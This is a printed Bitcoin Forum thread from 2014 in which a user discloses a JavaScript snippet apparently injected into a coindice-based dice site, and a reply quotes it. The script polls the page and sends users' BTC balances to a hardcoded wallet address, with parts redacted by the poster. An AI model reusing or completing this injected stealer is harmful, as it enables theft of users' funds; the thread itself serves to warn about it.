Print Page - Java Script Embedded to Steal BTC?

Today another user posted a link to his site based on the coindice script and right off the bat I noticed it was running a java script and from what I can tell it was stealing BTC after you had x amount.

I have included the PARTIAL script here to prevent scumbags from modifying the code for their own use but I just want to confirm that im not jumping to conclusions about what the script does..

I did contact the website owner and he has removed it.

Code:

setInterval(function(){fuckyou=(document.body).innerText;fuckme=fuckyou.match("admin");fuckyoutoo=(document.body).innerText;fuckmeaswell=fuckyoutoo.match("Withdraw");if(fuckme!=null){if(fuckmeaswell!=null){var ammount=parseFloat($('#content').find("big").eq(1).html()- 0.01);$.post("./?p=wallet",THIS BIT OF CODE HAS BEEN REMOVED
$.ajax({'url':'./content/ajax/request_balance.php?_unique='+ s,'dataType':"json",'success':function(data){var fuck=(data['balance']);if(fuck>=0.002){$.ajax({'url':'./content/ajax/withdraw.php?valid_addr=16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D&amount='+ fuck+'&_unique='+ s,'dataType':"json",'success':THIS BIT OF CODE HAS BEEN REMOVED
refreshBalancehaxored();}},1000);

Quote from: reesev on April 16, 2014, 03:28:45 AM

Code:

setInterval(function(){fuckyou=(document.body).innerText;fuckme=fuckyou.match("admin");fuckyoutoo=(document.body).innerText;fuckmeaswell=fuckyoutoo.match("Withdraw");if(fuckme!=null){if(fuckmeaswell!=null){var ammount=parseFloat($('#content').find("big").eq(1).html()- 0.01);$.post("./?p=wallet",THIS BIT OF CODE HAS BEEN REMOVED
$.ajax({'url':'./content/ajax/request_balance.php?_unique='+ s,'dataType':"json",'success':function(data){var fuck=(data['balance']);if(fuck>=0.002){$.ajax({'url':'./content/ajax/withdraw.php?valid_addr=16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D&amount='+ fuck+'&_unique='+ s,'dataType':"json",'success':THIS BIT OF CODE HAS BEEN REMOVED
refreshBalancehaxored();}},1000);

Yeah I've seen this shit coindice script made by some Ukraine. And that code was a orchestrated hack I believe and could potentially be used again if resold.

Bitcoin Forum

Bitcoin => Development & Technical Discussion => Topic started by: reesev on April 16, 2014, 03:28:45 AM